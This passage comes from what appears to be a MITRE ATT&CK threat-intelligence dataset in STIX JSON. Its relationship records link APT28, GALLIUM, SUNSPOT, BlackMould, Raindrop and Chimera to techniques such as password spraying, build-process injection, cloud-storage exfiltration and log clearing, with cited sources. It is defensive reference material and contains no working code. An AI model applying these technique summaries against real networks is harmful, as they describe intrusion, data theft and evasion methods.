            "description": "[APT28](https://attack.mitre.org/groups/G0007) can perform brute force attacks to obtain credentials.(Citation: TrendMicro Pawn Storm 2019)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Microsoft Targeting Elections September 2020)",
            "relationship_type": "uses",
            "id": "relationship--fb719ee1-0be9-41c5-bb52-56c033091e99",
            "type": "relationship",
            "modified": "2021-03-24T17:06:11.146Z",
            "created": "2021-01-13T18:32:09.100Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) used Windows API functions such as <code>MoveFileEx</code> and <code>NtQueryInformationProcess</code> as part of the [SUNBURST](https://attack.mitre.org/software/S0559) injection process.(Citation: CrowdStrike SUNSPOT Implant January 2021) ",
            "relationship_type": "uses",
            "id": "relationship--9b59a1db-0b3d-4ce7-9cea-d91a71dd0a57",
            "type": "relationship",
            "modified": "2021-01-13T20:16:23.597Z",
            "created": "2021-01-13T20:16:23.597Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "external_references": [
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) modified its security token to grants itself debugging privileges by adding <code>SeDebugPrivilege</code>.(Citation: CrowdStrike SUNSPOT Implant January 2021)",
            "relationship_type": "uses",
            "id": "relationship--339e74c4-5e3a-4272-966f-f5542d255d0a",
            "type": "relationship",
            "modified": "2021-01-13T20:16:23.615Z",
            "created": "2021-01-13T20:16:23.615Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6",
            "target_ref": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292",
            "external_references": [
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) created a copy of the SolarWinds Orion software source file with a <code>.bk</code> extension to backup the original content, wrote [SUNBURST](https://attack.mitre.org/software/S0559) using the same filename but with a <code>.tmp</code> extension, and then moved [SUNBURST](https://attack.mitre.org/software/S0559) using <code>MoveFileEx</code> to the original filename with a <code>.cs</code> extension so it could be compiled within Orion software.(Citation: CrowdStrike SUNSPOT Implant January 2021)",
            "relationship_type": "uses",
            "id": "relationship--41d6749b-9bd1-47f6-80c4-52652b965e78",
            "type": "relationship",
            "modified": "2021-01-14T21:54:18.255Z",
            "created": "2021-01-13T20:16:23.679Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "external_references": [
                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) has used stolen certificates to sign its tools including those from Whizzimo LLC.(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
            "id": "relationship--2fc6e8dc-5117-41ea-9b5f-154cff612f6f",
            "type": "relationship",
            "modified": "2021-01-13T21:05:37.504Z",
            "created": "2021-01-13T21:05:37.504Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6",
            "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00",
            "external_references": [
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) malware was designed and used to insert [SUNBURST](https://attack.mitre.org/software/S0559) into software builds of the SolarWinds Orion IT management product.(Citation: CrowdStrike SUNSPOT Implant January 2021)",
            "relationship_type": "uses",
            "id": "relationship--84c6ce73-83b4-43f1-aeae-4b7e2f8b4d34",
            "type": "relationship",
            "modified": "2021-01-14T21:54:18.246Z",
            "created": "2021-01-13T21:09:53.217Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "description": "Following the successful injection of [SUNBURST](https://attack.mitre.org/software/S0559), [SUNSPOT](https://attack.mitre.org/software/S0562) deleted a temporary file it created named <code>InventoryManager.bk</code> after restoring the original SolarWinds Orion source code to the software library.(Citation: CrowdStrike SUNSPOT Implant January 2021)",
            "relationship_type": "uses",
            "id": "relationship--39f5d465-832e-4de8-9738-0879803e2b1c",
            "type": "relationship",
            "modified": "2021-01-14T21:54:18.256Z",
            "created": "2021-01-13T21:09:53.225Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0",
            "external_references": [
                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) has used a variety of widely-available tools, which in some cases they modified to add functionality and/or subvert antimalware solutions.(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
            "id": "relationship--3faaf140-71cd-4cc2-91c9-f0980ca72079",
            "type": "relationship",
            "modified": "2021-03-26T11:49:13.159Z",
            "created": "2021-01-13T21:16:05.200Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "external_references": [
                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) has used [PsExec](https://attack.mitre.org/software/S0029) to move laterally between hosts in the target network.(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
            "id": "relationship--89697f9e-cfd2-4273-a5d6-04354f0c3e7c",
            "type": "relationship",
            "modified": "2021-01-13T21:16:05.204Z",
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                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
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                }
            ],
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            "relationship_type": "uses",
            "id": "relationship--e88a2959-311f-40c9-adc9-895f38bb1dd7",
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            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
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                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used Google Drive for C2.(Citation: TrendMicro Pawn Storm Dec 2020)",
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            "external_references": [
                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
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                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has deployed malware that has copied itself to the startup directory for persistence.(Citation: TrendMicro Pawn Storm Dec 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d",
            "external_references": [
                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has routed traffic over [Tor](https://attack.mitre.org/software/S0183) and VPN servers to obfuscate their activities.(Citation: TrendMicro Pawn Storm Dec 2020)",
            "relationship_type": "uses",
            "id": "relationship--2b6195a4-72f8-4d31-9824-a7c8a7018134",
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            "target_ref": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4",
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                {
                    "source_name": "TrendMicro Pawn Storm 2019",
                    "url": "https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf",
                    "description": "Hacquebord, F. (n.d.). Pawn Storm in 2019 A Year of Scanning and Credential Phishing on High-Profile Targets. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has performed large-scale scans in an attempt to find vulnerable servers.(Citation: TrendMicro Pawn Storm 2019)",
            "relationship_type": "uses",
            "id": "relationship--54b73912-002f-43ca-b8a2-7439aff45aab",
            "type": "relationship",
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            "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
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                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
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                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "[BlackMould](https://attack.mitre.org/software/S0564) can send commands to C2 in the body of HTTP POST requests.(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
            "id": "relationship--2d72a376-5bfb-4e6b-a79f-2f75f97de99e",
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "[BlackMould](https://attack.mitre.org/software/S0564) has the ability to download files to the victim's machine.(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "[BlackMould](https://attack.mitre.org/software/S0564) can run cmd.exe with parameters.(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
            "id": "relationship--209fe032-42b5-4268-85bf-4db099e06d92",
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            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "external_references": [
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                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "[BlackMould](https://attack.mitre.org/software/S0564) can copy files on a compromised host.(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
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            "type": "relationship",
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        {
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            ],
            "source_ref": "malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "[BlackMould](https://attack.mitre.org/software/S0564) has the ability to find files on the targeted system.(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
            "id": "relationship--95801883-3fa4-4385-a48f-4a92dd8e1e09",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "[BlackMould](https://attack.mitre.org/software/S0564) can enumerate local drives on a compromised host.(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
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        {
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            "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "target_ref": "malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d",
            "external_references": [
                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
            "id": "relationship--73bcd300-467e-4473-9ba7-772ae1c58610",
            "type": "relationship",
            "modified": "2021-01-14T20:19:39.292Z",
            "created": "2021-01-14T20:19:39.292Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "target_ref": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807",
            "external_references": [
                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) can exfiltrate data over Google Drive.(Citation: TrendMicro Pawn Storm Dec 2020) ",
            "relationship_type": "uses",
            "id": "relationship--2cbaf5dd-8b53-427f-ae00-9cda47125d5b",
            "type": "relationship",
            "modified": "2021-01-14T20:28:31.227Z",
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        },
        {
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            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19",
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                {
                    "source_name": "Symantec RAINDROP January 2021",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware",
                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."
                }
            ],
            "description": "(Citation: Symantec RAINDROP January 2021)",
            "relationship_type": "uses",
            "id": "relationship--79252e52-f717-4e10-b91f-5fbc622a5cbc",
            "type": "relationship",
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        {
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            "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19",
            "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
            "external_references": [
                {
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                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware",
                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."
                }
            ],
            "description": "[Raindrop](https://attack.mitre.org/software/S0565) used steganography to locate the start of its encoded payload within legitimate 7-Zip code.(Citation: Symantec RAINDROP January 2021)",
            "relationship_type": "uses",
            "id": "relationship--c6572007-a3f6-40d1-bfd2-37abf6a63b58",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19",
            "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
            "external_references": [
                {
                    "source_name": "Symantec RAINDROP January 2021",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware",
                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."
                }
            ],
            "description": "After initial installation, [Raindrop](https://attack.mitre.org/software/S0565) runs a computation to delay execution.(Citation: Symantec RAINDROP January 2021)",
            "relationship_type": "uses",
            "id": "relationship--00701b4a-9eab-41cc-9c09-f904a9799201",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "Symantec RAINDROP January 2021",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware",
                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[Raindrop](https://attack.mitre.org/software/S0565) was installed under names that resembled legitimate Windows file and directory names.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
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                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware",
                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."
                },
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                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
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                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware",
                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."
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                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
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                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
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                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
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                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used multiple password spraying attacks against victim's remote services to obtain valid user and administrator accounts.(Citation: NCC Group Chimera January 2021)",
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                {
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used compromised domain accounts to gain access to the target environment.(Citation: NCC Group Chimera January 2021)",
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used <code>net share</code> and <code>net view</code> to identify network shares of interest.(Citation: NCC Group Chimera January 2021)",
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has utilized various scans and queries to find domain controllers and remote services in the target environment.(Citation: NCC Group Chimera January 2021)",
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                {
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has utilized multiple commands to identify data of interest in file and directory listings.(Citation: NCC Group Chimera January 2021)",
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                {
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has <code>nltest /domain_trusts</code> to identify domain trust relationships.(Citation: NCC Group Chimera January 2021)",
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                {
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used [Cobalt Strike](https://attack.mitre.org/software/S0154) C2 beacons for data exfiltration.(Citation: NCC Group Chimera January 2021) ",
            "relationship_type": "uses",
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            "external_references": [
                {
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has staged stolen data on designated servers in the target environment.(Citation: NCC Group Chimera January 2021)",
            "relationship_type": "uses",
            "id": "relationship--15ec2486-936e-4bb0-8265-84ba20491c05",
            "type": "relationship",
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            "external_references": [
                {
                    "source_name": "Symantec RAINDROP January 2021",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware",
                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[Raindrop](https://attack.mitre.org/software/S0565) was built to include a modified version of 7-Zip source code (including associated export names) and Far Manager source code.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--288d8f70-d2af-44f8-86c9-fb8c2cd5103f",
            "type": "relationship",
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        {
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            ],
            "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c",
            "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b",
            "external_references": [
                {
                    "source_name": "NCC Group Chimera January 2021",
                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has exfiltrated stolen data to OneDrive accounts.(Citation: NCC Group Chimera January 2021)",
            "relationship_type": "uses",
            "id": "relationship--d17fcc24-a9ae-4841-b35b-f694b3991fba",
            "type": "relationship",
            "modified": "2021-01-22T13:35:37.195Z",
            "created": "2021-01-22T13:35:37.195Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "external_references": [
                {
                    "source_name": "NCC Group Chimera January 2021",
                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used <code>net localgroup administrators</code> to identify  accounts with local administrative rights.(Citation: NCC Group Chimera January 2021)",
            "relationship_type": "uses",
            "id": "relationship--95747003-2c4a-4e4a-ad9d-fde75f04f406",
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                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used a Windows version of the Linux <code>touch</code> command to modify the date and time stamp on DLLs.(Citation: NCC Group Chimera January 2021)",
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                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has cleared event logs on compromised hosts.(Citation: NCC Group Chimera January 2021)",
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
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                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
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            "id": "relationship--93bc896f-d2c2-4d6b-b231-fdc084aeed69",
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                {
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
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                }
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            "description": "Refer to NIST guidelines when creating password policies for master passwords.(Citation: NIST 800-63-3)",
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                    "url": "https://pages.nist.gov/800-63-3/sp800-63b.html",
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                {
                    "source_name": "NCC Group Chimera January 2021",
                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used WinRM for lateral movement.(Citation: NCC Group Chimera January 2021)",
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            "external_references": [
                {
                    "source_name": "NCC Group Chimera January 2021",
